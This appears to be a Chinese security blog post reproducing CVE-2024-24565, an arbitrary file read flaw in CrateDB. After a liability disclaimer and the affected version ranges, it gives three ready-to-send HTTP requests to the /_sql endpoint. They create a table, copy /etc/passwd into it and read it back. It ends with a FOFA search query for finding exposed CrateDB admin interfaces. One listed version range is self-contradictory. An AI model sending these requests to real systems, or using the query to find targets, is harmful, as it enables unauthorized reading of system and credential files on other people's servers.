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该公众号主要是分享互联网上公开的一些漏洞poc和工具，利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及作者不为此承担任何责任，一旦造成后果请自行承担！如果本公众号分享导致的侵权行为请告知，我们会立即删除并道歉。
漏洞影响范围
5.4.0<=io.crate:crate<5.4.8,5.6.0<=io.crate:crate<5.6.0,io.crate:crate<5.3.9,5.5.0<=io.crate:crate<5.5.4
漏洞复现
poc
1.创建数据表
POST /_sql?types HTTP/1.1Host: 127.0.0.1:4200User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Content-Length: 52Access-Control-Allow-Origin: *Connection: keep-aliveContent-Type: application/json; charset=UTF-8Accept-Encoding: gzipConnection: close{"stmt":"CREATE TABLE info_leak(info_leak STRING);"}
2.复制文件信息
POST /_sql?types HTTP/1.1Host: 127.0.0.1:4200User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Content-Length: 52Access-Control-Allow-Origin: *Connection: keep-aliveContent-Type: application/json; charset=UTF-8Accept-Encoding: gzipConnection: close{"stmt":"COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);"}
3.读取数据
POST /_sql?types HTTP/1.1Host: 127.0.0.1:4200User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Content-Length: 52Access-Control-Allow-Origin: *Connection: keep-aliveContent-Type: application/json; charset=UTF-8Accept-Encoding: gzipConnection: close{"stmt":"SELECT * FROM info_leak;"}
出现以下信息代表漏洞存在
搜索语法
fofa：title="CrateDB Admin UI"
原文始发于微信公众号（小白菜安全）：CrateDB数据库任意文件读取漏洞复现-CVE-2024-24565
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